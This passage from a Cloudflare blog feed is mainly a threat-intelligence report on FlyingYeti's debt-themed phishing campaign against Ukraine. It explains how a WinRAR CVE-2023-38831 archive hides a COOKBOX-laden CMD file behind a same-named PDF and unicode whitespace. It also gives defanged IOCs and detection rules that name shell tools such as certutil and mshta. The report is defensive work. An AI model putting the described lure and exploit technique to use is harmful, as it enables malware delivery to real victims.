]]></content:encoded>
            <category><![CDATA[CISA]]></category>
            <category><![CDATA[Policy & Legal]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <guid isPermaLink="false">1Ni8ekT7qEWe5PVydsDP1m</guid>
            <dc:creator>Sri Pulla</dc:creator>
            <dc:creator>Martin Schwarzl</dc:creator>
            <dc:creator>Trishna</dc:creator>
        </item>
        <item>
            <title><![CDATA[Disrupting FlyingYeti's campaign targeting Ukraine]]></title>
            <link>https://blog.cloudflare.com/disrupting-flyingyeti-campaign-targeting-ukraine/</link>
            <pubDate>Thu, 30 May 2024 13:00:38 GMT</pubDate>
            <description><![CDATA[ In April and May 2024, Cloudforce One employed proactive defense measures to successfully prevent Russia-aligned threat actor FlyingYeti from launching their latest phishing campaign targeting Ukraine ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Cloudforce One is publishing the results of our investigation and real-time effort to detect, deny, degrade, disrupt, and delay threat activity by the Russia-aligned threat actor FlyingYeti during their latest phishing campaign targeting Ukraine. At the onset of Russia’s invasion of Ukraine on February 24, 2022, Ukraine introduced a moratorium on evictions and termination of utility services for unpaid debt. The moratorium ended in January 2024, resulting in significant debt liability and increased financial stress for Ukrainian citizens. The FlyingYeti campaign capitalized on anxiety over the potential loss of access to housing and utilities by enticing targets to open malicious files via debt-themed lures. If opened, the files would result in infection with the PowerShell malware known as <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">COOKBOX</a>, allowing FlyingYeti to support follow-on objectives, such as installation of additional payloads and control over the victim’s system.</p><p>Since April 26, 2024, Cloudforce One has taken measures to prevent FlyingYeti from launching their phishing campaign – a campaign involving the use of Cloudflare Workers and GitHub, as well as exploitation of the WinRAR vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38831">CVE-2023-38831</a>. Our countermeasures included internal actions, such as detections and code takedowns, as well as external collaboration with third parties to remove the actor’s cloud-hosted malware. Our effectiveness against this actor prolonged their operational timeline from days to weeks. For example, in a single instance, FlyingYeti spent almost eight hours debugging their code as a result of our mitigations. By employing proactive defense measures, we successfully stopped this determined threat actor from achieving their objectives.</p>
    <div>
      <h3>Executive Summary</h3>
      <a href="#executive-summary">
        
      </a>
    </div>
    <ul><li><p>On April 18, 2024, Cloudforce One detected the Russia-aligned threat actor FlyingYeti preparing to launch a phishing espionage campaign targeting individuals in Ukraine.</p></li><li><p>We discovered the actor used similar tactics, techniques, and procedures (TTPs) as those detailed in <a href="https://cert.gov.ua/article/6278620">Ukranian CERT's article on UAC-0149</a>, a threat group that has primarily <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">targeted Ukrainian defense entities with COOKBOX malware since at least the fall of 2023</a>.</p></li><li><p>From mid-April to mid-May, we observed FlyingYeti conduct reconnaissance activity, create lure content for use in their phishing campaign, and develop various iterations of their malware. We assessed that the threat actor intended to launch their campaign in early May, likely following Orthodox Easter.</p></li><li><p>After several weeks of monitoring actor reconnaissance and weaponization activity (<a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">Cyber Kill Chain Stages 1 and 2</a>), we successfully disrupted FlyingYeti’s operation moments after the final COOKBOX payload was built.</p></li><li><p>The payload included an exploit for the WinRAR vulnerability CVE-2023-38831, which FlyingYeti will likely continue to use in their phishing campaigns to infect targets with malware.</p></li><li><p>We offer steps users can take to defend themselves against FlyingYeti phishing operations, and also provide recommendations, detections, and indicators of compromise.</p></li></ul>
    <div>
      <h2>Who is FlyingYeti?</h2>
      <a href="#who-is-flyingyeti">
        
      </a>
    </div>
    <p>FlyingYeti is the <a href="https://www.merriam-webster.com/dictionary/cryptonym">cryptonym</a> given by <a href="/introducing-cloudforce-one-threat-operations-and-threat-research">Cloudforce One</a> to the threat group behind this phishing campaign, which overlaps with UAC-0149 activity tracked by <a href="https://cert.gov.ua/">CERT-UA</a> in <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">February</a> and <a href="https://cert.gov.ua/article/6278620">April</a> 2024. The threat actor uses dynamic DNS (<a href="https://www.cloudflare.com/learning/dns/glossary/dynamic-dns/">DDNS</a>) for their infrastructure and leverages cloud-based platforms for hosting malicious content and for malware command and control (C2). Our investigation of FlyingYeti TTPs suggests this is likely a Russia-aligned threat group. The actor appears to primarily focus on targeting Ukrainian military entities. Additionally, we observed Russian-language comments in FlyingYeti’s code, and the actor’s operational hours falling within the UTC+3 time zone.</p>
    <div>
      <h2>Campaign background</h2>
      <a href="#campaign-background">
        
      </a>
    </div>
    <p>In the days leading up to the start of the campaign, Cloudforce One observed FlyingYeti conducting reconnaissance on payment processes for Ukrainian communal housing and utility services:</p><ul><li><p>April 22, 2024 – research into changes made in 2016 that introduced the use of QR codes in payment notices</p></li><li><p>April 22, 2024 – research on current developments concerning housing and utility debt in Ukraine</p></li><li><p>April 25, 2024 – research on the legal basis for restructuring housing debt in Ukraine as well as debt involving utilities, such as gas and electricity</p></li></ul><p>Cloudforce One judges that the observed reconnaissance is likely due to the Ukrainian government’s payment moratorium introduced at the start of the full-fledged invasion in February 2022. Under this moratorium, outstanding debt would not lead to evictions or termination of provision of utility services. However, on January 9, 2024, the <a href="https://en.interfax.com.ua/news/economic/959388.html">government lifted this ban</a>, resulting in increased pressure on Ukrainian citizens with outstanding debt. FlyingYeti sought to capitalize on that pressure, leveraging debt restructuring and payment-related lures in an attempt to increase their chances of successfully targeting Ukrainian individuals.</p>
    <div>
      <h2>Analysis of the Komunalka-themed phishing site</h2>
      <a href="#analysis-of-the-komunalka-themed-phishing-site">
        
      </a>
    </div>
    <p>The disrupted phishing campaign would have directed FlyingYeti targets to an actor-controlled GitHub page at hxxps[:]//komunalka[.]github[.]io, which is a spoofed version of the Kyiv Komunalka communal housing site <a href="https://www.komunalka.ua">https://www.komunalka.ua</a>. Komunalka functions as a payment processor for residents in the Kyiv region and allows for payment of utilities, such as gas, electricity, telephone, and Internet. Additionally, users can pay other fees and fines, and even donate to Ukraine’s defense forces.</p><p>Based on past FlyingYeti operations, targets may be directed to the actor’s Github page via a link in a phishing email or an encrypted Signal message. If a target accesses the spoofed Komunalka platform at hxxps[:]//komunalka[.]github[.]io, the page displays a large green button with a prompt to download the document “Рахунок.docx” (“Invoice.docx”), as shown in Figure 1. This button masquerades as a link to an overdue payment invoice but actually results in the download of the malicious archive “Заборгованість по ЖКП.rar” (“Debt for housing and utility services.rar”).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/22Rnm7YOnwnJocG98RMFDa/def10039081f7e9c6df15980a8b855ac/image4-5.png" />
            
            </figure><p>Figure 1: Prompt to download malicious archive “Заборгованість по ЖКП.rar”</p><p>A series of steps must take place for the download to successfully occur:</p><ul><li><p>The target clicks the green button on the actor’s GitHub page hxxps[:]//komunalka.github[.]io</p></li><li><p>The target’s device sends an HTTP POST request to the Cloudflare Worker worker-polished-union-f396[.]vqu89698[.]workers[.]dev with the HTTP request body set to “user=Iahhdr”</p></li><li><p>The Cloudflare Worker processes the request and evaluates the HTTP request body</p></li><li><p>If the request conditions are met, the Worker fetches the RAR file from hxxps[:]//raw[.]githubusercontent[.]com/kudoc8989/project/main/Заборгованість по ЖКП.rar, which is then downloaded on the target’s device</p></li></ul><p>Cloudforce One identified the infrastructure responsible for facilitating the download of the malicious RAR file and remediated the actor-associated Worker, preventing FlyingYeti from delivering its malicious tooling. In an effort to circumvent Cloudforce One's mitigation measures, FlyingYeti later changed their malware delivery method. Instead of the Workers domain fetching the malicious RAR file, it was loaded directly from GitHub.</p>
    <div>
      <h2>Analysis of the malicious RAR file</h2>
      <a href="#analysis-of-the-malicious-rar-file">
        
      </a>
    </div>
    <p>During remediation, Cloudforce One recovered the RAR file “Заборгованість по ЖКП.rar” and performed analysis of the malicious payload. The downloaded RAR archive contains multiple files, including a file with a name that contains the unicode character “U+201F”. This character appears as whitespace on Windows devices and can be used to “hide” file extensions by adding excessive whitespace between the filename and the file extension. As highlighted in blue in Figure 2, this cleverly named file within the RAR archive appears to be a PDF document but is actually a malicious CMD file (“Рахунок на оплату.pdf[unicode character U+201F].cmd”).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/55Vjmg9VLEnAFv3RZQoZ2l/866016a2489f2a6c780c9f3971dd28ca/image2-11.png" />
            
            </figure><p>Figure 2: Files contained in the malicious RAR archive “Заборгованість по ЖКП.rar” (“Housing Debt.rar”)</p><p>FlyingYeti included a benign PDF in the archive with the same name as the CMD file but without the unicode character, “Рахунок на оплату.pdf” (“Invoice for payment.pdf”). Additionally, the directory name for the archive once decompressed also contained the name “Рахунок на оплату.pdf”. This overlap in names of the benign PDF and the directory allows the actor to exploit the WinRAR vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38831">CVE-2023-38831</a>. More specifically, when an archive includes a benign file with the same name as the directory, the entire contents of the directory are opened by the WinRAR application, resulting in the execution of the malicious CMD. In other words, when the target believes they are opening the benign PDF “Рахунок на оплату.pdf”, the malicious CMD file is executed.</p><p>The CMD file contains the FlyingYeti PowerShell malware known as <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">COOKBOX</a>. The malware is designed to persist on a host, serving as a foothold in the infected device. Once installed, this variant of COOKBOX will make requests to the DDNS domain postdock[.]serveftp[.]com for C2, awaiting PowerShell <a href="https://learn.microsoft.com/en-us/powershell/scripting/powershell-commands?view=powershell-7.4">cmdlets</a> that the malware will subsequently run.</p><p>Alongside COOKBOX, several decoy documents are opened, which contain hidden tracking links using the <a href="https://canarytokens.com/generate">Canary Tokens</a> service. The first document, shown in Figure 3 below, poses as an agreement under which debt for housing and utility services will be restructured.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/20vFV9kNTMmwxFXvpQoJTc/12542fb7a7d2108d49607f2a23fc7575/image5-10.png" />
            
            </figure><p>Figure 3: Decoy document Реструктуризація боргу за житлово комунальні послуги.docx</p><p>The second document (Figure 4) is a user agreement outlining the terms and conditions for the usage of the payment platform komunalka[.]ua.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1VHSTwqfrXWXvoryg8lOcE/68eb096bc82f18c7edcb4c88c1ed6d2c/image3-6.png" />
            
            </figure><p>Figure 4: Decoy document Угода користувача.docx <i>(User Agreement.docx)</i></p><p>The use of relevant decoy documents as part of the phishing and delivery activity are likely an effort by FlyingYeti operators to increase the appearance of legitimacy of their activities.</p><p>The phishing theme we identified in this campaign is likely one of many themes leveraged by this actor in a larger operation to target Ukrainian entities, in particular their defense forces. In fact, the threat activity we detailed in this blog uses many of the same techniques outlined in a <a href="https://cert.gov.ua/article/6278620">recent FlyingYeti campaign</a> disclosed by CERT-UA in mid-April 2024, where the actor leveraged United Nations-themed lures involving Peace Support Operations to target Ukraine’s military. Due to Cloudforce One’s defensive actions covered in the next section, this latest FlyingYeti campaign was prevented as of the time of publication.</p>
    <div>
      <h2>Mitigating FlyingYeti activity</h2>
      <a href="#mitigating-flyingyeti-activity">
        
      </a>
    </div>
    <p>Cloudforce One mitigated FlyingYeti’s campaign through a series of actions. Each action was taken to increase the actor’s cost of continuing their operations. When assessing which action to take and why, we carefully weighed the pros and cons in order to provide an effective active defense strategy against this actor. Our general goal was to increase the amount of time the threat actor spent trying to develop and weaponize their campaign.</p><p>We were able to successfully extend the timeline of the threat actor’s operations from hours to weeks. At each interdiction point, we assessed the impact of our mitigation to ensure the actor would spend more time attempting to launch their campaign. Our mitigation measures disrupted the actor’s activity, in one instance resulting in eight additional hours spent on debugging code.</p><p>Due to our proactive defense efforts, FlyingYeti operators adapted their tactics multiple times in their attempts to launch the campaign. The actor originally intended to have the Cloudflare Worker fetch the malicious RAR file from GitHub. After Cloudforce One interdiction of the Worker, the actor attempted to create additional Workers via a new account. In response, we disabled all Workers, leading the actor to load the RAR file directly from GitHub. Cloudforce One notified GitHub, resulting in the takedown of the RAR file, the GitHub project, and suspension of the account used to host the RAR file. In return, FlyingYeti began testing the option to host the RAR file on the file sharing sites <a href="https://pixeldrain.com/">pixeldrain</a> and <a href="https://www.filemail.com/">Filemail</a>, where we observed the actor alternating the link on the Komunalka phishing site between the following:</p><ul><li><p>hxxps://pixeldrain[.]com/api/file/ZAJxwFFX?download=one</p></li><li><p>hxxps://1014.filemail[.]com/api/file/get?filekey=e_8S1HEnM5Rzhy_jpN6nL-GF4UAP533VrXzgXjxH1GzbVQZvmpFzrFA&amp;pk_vid=a3d82455433c8ad11715865826cf18f6</p></li></ul><p>We notified GitHub of the actor’s evolving tactics, and in response GitHub removed the Komunalka phishing site. After analyzing the files hosted on pixeldrain and Filemail, we determined the actor uploaded dummy payloads, likely to monitor access to their phishing infrastructure (FileMail logs IP addresses, and both file hosting sites provide view and download counts). At the time of publication, we did not observe FlyingYeti upload the malicious RAR file to either file hosting site, nor did we identify the use of alternative phishing or malware delivery methods.</p><p>A timeline of FlyingYeti’s activity and our corresponding mitigations can be found below.</p>
    <div>
      <h3>Event timeline</h3>
      <a href="#event-timeline">
        
      </a>
    </div>
    
<div><table><colgroup>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Date</span></th>
    <th><span>Event Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>2024-04-18 12:18</span></td>
    <td><span>Threat Actor (TA) creates a Worker to handle requests from a phishing site</span></td>
  </tr>
  <tr>
    <td><span>2024-04-18 14:16</span></td>
    <td><span>TA creates phishing site komunalka[.]github[.]io on GitHub</span></td>
  </tr>
  <tr>
    <td><span>2024-04-25 12:25</span></td>
    <td><span>TA creates a GitHub repo to host a RAR file</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 07:46</span></td>
    <td><span>TA updates the first Worker to handle requests from users visiting komunalka[.]github[.]io</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 08:24</span></td>
    <td><span>TA uploads a benign test RAR to the GitHub repo</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 13:38</span></td>
    <td><span>Cloudforce One identifies a Worker receiving requests from users visiting komunalka[.]github[.]io, observes its use as a phishing page</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 13:46</span></td>
    <td><span>Cloudforce One identifies that the Worker fetches a RAR file from GitHub (the malicious RAR payload is not yet hosted on the site)</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 19:22</span></td>
    <td><span>Cloudforce One creates a detection to identify the Worker that fetches the RAR</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 21:13</span></td>
    <td><span>Cloudforce One deploys real-time monitoring of the RAR file on GitHub</span></td>
  </tr>
  <tr>
    <td><span>2024-05-02 06:35</span></td>
    <td><span>TA deploys a weaponized RAR (CVE-2023-38831) to GitHub with their COOKBOX malware packaged in the archive</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 10:03</span></td>
    <td><span>TA attempts to update the Worker with link to weaponized RAR, the Worker is immediately blocked</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 10:38</span></td>
    <td><span>TA creates a new Worker, the Worker is immediately blocked</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:04</span></td>
    <td><span>TA creates a new account (#2) on Cloudflare</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:06</span></td>
    <td><span>TA creates a new Worker on account #2 (blocked)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:50</span></td>
    <td><span>TA creates a new Worker on account #2 (blocked)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 12:22</span></td>
    <td><span>TA creates a new modified Worker on account #2</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 16:05</span></td>
    <td><span>Cloudforce One disables the running Worker on account #2</span></td>
  </tr>
  <tr>
    <td><span>2024-05-07 22:16</span></td>
    <td><span>TA notices the Worker is blocked, ceases all operations</span></td>
  </tr>
  <tr>
    <td><span>2024-05-07 22:18</span></td>
    <td><span>TA deletes original Worker first created to fetch the RAR file from the GitHub phishing page</span></td>
  </tr>
  <tr>
    <td><span>2024-05-09 19:28</span></td>
    <td><span>Cloudforce One adds phishing page komunalka[.]github[.]io to real-time monitoring</span></td>
  </tr>
  <tr>
    <td><span>2024-05-13 07:36</span></td>
    <td><span>TA updates the github.io phishing site to point directly to the GitHub RAR link</span></td>
  </tr>
  <tr>
    <td><span>2024-05-13 17:47</span></td>
    <td><span>Cloudforce One adds COOKBOX C2 postdock[.]serveftp[.]com to real-time monitoring for DNS resolution</span></td>
  </tr>
  <tr>
    <td><span>2024-05-14 00:04</span></td>
    <td><span>Cloudforce One notifies GitHub to take down the RAR file</span></td>
  </tr>
  <tr>
    <td><span>2024-05-15 09:00</span></td>
    <td><span>GitHub user, project, and link for RAR are no longer accessible</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 08:23</span></td>
    <td><span>TA updates Komunalka phishing site on github.io to link to pixeldrain URL for dummy payload (pixeldrain only tracks view and download counts)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 08:25</span></td>
    <td><span>TA updates Komunalka phishing site to link to FileMail URL for dummy payload (FileMail tracks not only view and download counts, but also IP addresses)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 12:21</span></td>
    <td><span>Cloudforce One downloads PixelDrain document to evaluate payload</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 12:47</span></td>
    <td><span>Cloudforce One downloads FileMail document to evaluate payload</span></td>
  </tr>
  <tr>
    <td><span>2024-05-29 23:59</span></td>
    <td><span>GitHub takes down Komunalka phishing site</span></td>
  </tr>
  <tr>
    <td><span>2024-05-30 13:00</span></td>
    <td><span>Cloudforce One publishes the results of this investigation</span></td>
  </tr>
</tbody></table></div>
    <div>
      <h2>Coordinating our FlyingYeti response</h2>
      <a href="#coordinating-our-flyingyeti-response">
        
      </a>
    </div>
    <p>Cloudforce One leveraged industry relationships to provide advanced warning and to mitigate the actor’s activity. To further protect the intended targets from this phishing threat, Cloudforce One notified and collaborated closely with GitHub’s Threat Intelligence and Trust and Safety Teams. We also notified CERT-UA and Cloudflare industry partners such as CrowdStrike, Mandiant/Google Threat Intelligence, and Microsoft Threat Intelligence.</p>
    <div>
      <h3>Hunting FlyingYeti operations</h3>
      <a href="#hunting-flyingyeti-operations">
        
      </a>
    </div>
    <p>There are several ways to hunt FlyingYeti in your environment. These include using PowerShell to hunt for WinRAR files, deploying Microsoft Sentinel analytics rules, and running Splunk scripts as detailed below. Note that these detections may identify activity related to this threat, but may also trigger unrelated threat activity.</p>
    <div>
      <h3>PowerShell hunting</h3>
      <a href="#powershell-hunting">
        
      </a>
    </div>
    <p>Consider running a PowerShell script such as <a href="https://github.com/IR-HuntGuardians/CVE-2023-38831-HUNT/blob/main/hunt-script.ps1">this one</a> in your environment to identify exploitation of CVE-2023-38831. This script will interrogate WinRAR files for evidence of the exploit.</p>
            <pre><code>CVE-2023-38831
Description:winrar exploit detection 
open suspios (.tar / .zip / .rar) and run this script to check it 

function winrar-exploit-detect(){
$targetExtensions = @(".cmd" , ".ps1" , ".bat")
$tempDir = [System.Environment]::GetEnvironmentVariable("TEMP")
$dirsToCheck = Get-ChildItem -Path $tempDir -Directory -Filter "Rar*"
foreach ($dir in $dirsToCheck) {
    $files = Get-ChildItem -Path $dir.FullName -File
    foreach ($file in $files) {
        $fileName = $file.Name
        $fileExtension = [System.IO.Path]::GetExtension($fileName)
        if ($targetExtensions -contains $fileExtension) {
            $fileWithoutExtension = [System.IO.Path]::GetFileNameWithoutExtension($fileName); $filename.TrimEnd() -replace '\.$'
            $cmdFileName = "$fileWithoutExtension"
            $secondFile = Join-Path -Path $dir.FullName -ChildPath $cmdFileName
            
            if (Test-Path $secondFile -PathType Leaf) {
                Write-Host "[!] Suspicious pair detected "
                Write-Host "[*]  Original File:$($secondFile)" -ForegroundColor Green 
                Write-Host "[*] Suspicious File:$($file.FullName)" -ForegroundColor Red

                # Read and display the content of the command file
                $cmdFileContent = Get-Content -Path $($file.FullName)
                Write-Host "[+] Command File Content:$cmdFileContent"
            }
        }
    }
}
}
winrar-exploit-detect</code></pre>
            
    <div>
      <h3></h3>
      <a href="#">
        
      </a>
    </div>
    <p>Microsoft Sentinel</p><p>In Microsoft Sentinel, consider deploying the rule provided below, which identifies WinRAR execution via cmd.exe. Results generated by this rule may be indicative of attack activity on the endpoint and should be analyzed.</p>
            <pre><code>DeviceProcessEvents
| where InitiatingProcessParentFileName has @"winrar.exe"
| where InitiatingProcessFileName has @"cmd.exe"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName
| sort by Timestamp desc</code></pre>
            
    <div>
      <h3></h3>
      <a href="#">
        
      </a>
    </div>
    <p>Splunk</p><p>Consider using <a href="https://research.splunk.com/endpoint/d2f36034-37fa-4bd4-8801-26807c15540f/">this script</a> in your Splunk environment to look for WinRAR CVE-2023-38831 execution on your Microsoft endpoints. Results generated by this script may be indicative of attack activity on the endpoint and should be analyzed.</p>
            <pre><code>| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winrar.exe `windows_shells` OR Processes.process_name IN ("certutil.exe","mshta.exe","bitsadmin.exe") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 
| `drop_dm_object_name(Processes)` 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `winrar_spawning_shell_application_filter`</code></pre>
            
    <div>
      <h2>Cloudflare product detections</h2>
      <a href="#cloudflare-product-detections">
        
      </a>
    </div>
    
    <div>
      <h3>Cloudflare Email Security</h3>
      <a href="#cloudflare-email-security">
        
      </a>
    </div>
    <p>Cloudflare Email Security (CES) customers can identify FlyingYeti threat activity with the following detections.</p><ul><li><p>CVE-2023-38831</p></li><li><p>FLYINGYETI.COOKBOX</p></li><li><p>FLYINGYETI.COOKBOX.Launcher</p></li><li><p>FLYINGYETI.Rar</p></li></ul>
    <div>
      <h2>Recommendations</h2>
      <a href="#recommendations">
        
      </a>
    </div>
    <p>Cloudflare recommends taking the following steps to mitigate this type of activity:</p><ul><li><p>Implement Zero Trust architecture foundations:    </p></li><li><p>Deploy Cloud Email Security to ensure that email services are protected against phishing, BEC and other threats</p></li><li><p>Leverage browser isolation to separate messaging applications like LinkedIn, email, and Signal from your main network</p></li><li><p>Scan, monitor and/or enforce controls on specific or sensitive data moving through your network environment with data loss prevention policies</p></li><li><p>Ensure your systems have the latest WinRAR and Microsoft security updates installed</p></li><li><p>Consider preventing WinRAR files from entering your environment, both at your Cloud Email Security solution and your Internet Traffic Gateway</p></li><li><p>Run an Endpoint Detection and Response (EDR) tool such as CrowdStrike or Microsoft Defender for Endpoint to get visibility into binary execution on hosts</p></li><li><p>Search your environment for the FlyingYeti indicators of compromise (IOCs) shown below to identify potential actor activity within your network.</p></li></ul><p>If you’re looking to uncover additional Threat Intelligence insights for your organization or need bespoke Threat Intelligence information for an incident, consider engaging with Cloudforce One by contacting your Customer Success manager or filling out <a href="https://www.cloudflare.com/zero-trust/lp/cloudforce-one-threat-intel-subscription/">this form</a>.</p>
    <div>
      <h2>Indicators of Compromise</h2>
      <a href="#indicators-of-compromise">
        
      </a>
    </div>
    
<div><table><colgroup>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Domain / URL</span></th>
    <th><span>Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>komunalka[.]github[.]io</span></td>
    <td><span>Phishing page</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//github[.]com/komunalka/komunalka[.]github[.]io</span></td>
    <td><span>Phishing page</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//worker-polished-union-f396[.]vqu89698[.]workers[.]dev</span></td>
    <td><span>Worker that fetches malicious RAR file</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//raw[.]githubusercontent[.]com/kudoc8989/project/main/Заборгованість по ЖКП.rar</span></td>
    <td><span>Delivery of malicious RAR file</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//1014[.]filemail[.]com/api/file/get?filekey=e_8S1HEnM5Rzhy_jpN6nL-GF4UAP533VrXzgXjxH1GzbVQZvmpFzrFA&amp;pk_vid=a3d82455433c8ad11715865826cf18f6</span></td>
    <td><span>Dummy payload</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//pixeldrain[.]com/api/file/ZAJxwFFX?download=</span></td>
    <td><span>Dummy payload</span></td>
  </tr>
  <tr>
    <td><span>hxxp[:]//canarytokens[.]com/stuff/tags/ni1cknk2yq3xfcw2al3efs37m/payments.js</span></td>
    <td><span>Tracking link</span></td>
  </tr>
  <tr>
    <td><span>hxxp[:]//canarytokens[.]com/stuff/terms/images/k22r2dnjrvjsme8680ojf5ccs/index.html</span></td>
    <td><span>Tracking link</span></td>
  </tr>
  <tr>
    <td><span>postdock[.]serveftp[.]com</span></td>
    <td><span>COOKBOX C2</span></td>
  </tr>
</tbody></table></div> ]]></content:encoded>
            <category><![CDATA[Cloud Email Security]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Exploit]]></category>
            <category><![CDATA[GitHub]]></category>
            <category><![CDATA[Intrusion Detection]]></category>
            <category><![CDATA[Malware]]></category>
            <category><![CDATA[Microsoft]]></category>
            <category><![CDATA[Phishing]]></category>
            <category><![CDATA[Remote Browser Isolation]]></category>
            <category><![CDATA[Russia]]></category>
            <category><![CDATA[Serverless]]></category>
            <category><![CDATA[Threat Data]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Threat Operations]]></category>
            <category><![CDATA[Ukraine]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">5JO10nXN3tLVG2C1EttkiH</guid>
            <dc:creator>Cloudforce One</dc:creator>
        </item>
        <item>
            <title><![CDATA[All Cloudflare customers protected from the Atlassian Confluence CVE-2023-22515]]></title>
            <link>https://blog.cloudflare.com/all-cloudflare-customers-protected-atlassian-cve-2023-22515/</link>
            <pubDate>Wed, 04 Oct 2023 16:03:04 GMT</pubDate>
            <description><![CDATA[ On 2023-10-04 at 13:00 UTC, Atlassian released details of the zero-day vulnerability described as “Privilege Escalation Vulnerability in Confluence Data Center and Server” (CVE-2023-22515), a zero-day vulnerability impacting Confluence Server and Data Center products ]]></description>
            <content:encoded><![CDATA[ <p></p><p>On 2023-10-04 at 13:00 UTC, Atlassian released details of the zero-day vulnerability described as “Privilege Escalation Vulnerability in Confluence Data Center and Server” (CVE-2023-22515), a zero-day vulnerability impacting Confluence Server and Data Center products.  </p><p>Cloudflare was warned about the vulnerability before the advisory was published and worked with Atlassian to proactively apply protective WAF rules for all customers. All Cloudflare customers, including Free, received the protection enabled by default. On 2023-10-03 14:00 UTC Cloudflare WAF team <a href="https://developers.cloudflare.com/waf/change-log/2023-10-04---emergency-release/">released</a> the following managed rules to protect against the first variant of the vulnerability observed in real traffic.</p><table><colgroup><col></col><col></col><col></col></colgroup><tbody><tr><td><p><span>Rule ID</span></p></td><td><p><span>Description</span></p></td><td><p><span>Default Action</span></p></td></tr><tr><td><p><span>New Managed Rules</span></p><p><span>…ec9f34e1</span></p></td><td><p><span>Atlassian Confluence - Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr><tr><td><p><span>Legacy Managed Rules</span></p><p><span>100604 and 100605</span></p></td><td><p><span>Atlassian Confluence - Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr><tr><td><p><span>Free Managed Rule</span></p><p><span>…91935fcb</span></p></td><td><p><span>Atlassian Confluence - Privilege Escalation - CVE:CVE-2023-22515</span></p></td><td><p><span>Block</span></p></td></tr></tbody></table><p>When CVE-2023-22515 is exploited, an attacker could access public Confluence Data Center and Server instances to create unauthorized Confluence administrator accounts to access the instance. According to the advisory the vulnerability is assessed by Atlassian as critical. At the moment of writing a CVSS score is not yet known. More information can be found in the <a href="https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html?subid=1643554570&amp;jobid=106230797&amp;utm_campaign=security-advisory-confluence-sdc_EML-16991&amp;utm_medium=email&amp;utm_source=alert-email">security advisory</a>, including what versions of Confluence Server are affected.</p> ]]></content:encoded>
            <category><![CDATA[Atlassian]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">1hWndEMMdWNaLEtUyDilG8</guid>
            <dc:creator>Himanshu Anand</dc:creator>
            <dc:creator>Daniele Molteni</dc:creator>
            <dc:creator>Sourov Zaman</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
            <dc:creator>Ary Widdes</dc:creator>
            <dc:creator>Myles Robinson</dc:creator>
        </item>
        <item>
            <title><![CDATA[SLP: a new DDoS amplification vector in the wild]]></title>
            <link>https://blog.cloudflare.com/slp-new-ddos-amplification-vector/</link>
            <pubDate>Tue, 25 Apr 2023 13:07:56 GMT</pubDate>
            <description><![CDATA[ Researchers have recently published the discovery of a new DDoS reflection/amplification attack vector leveraging the SLP protocol. Cloudflare expects the prevalence of SLP-based DDoS attacks to rise in the coming weeks ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3I71ArpV1rGLMEvmAECNwa/1307863c865f182b789b3a3e1ea4f078/image13-1-4.png" />
            
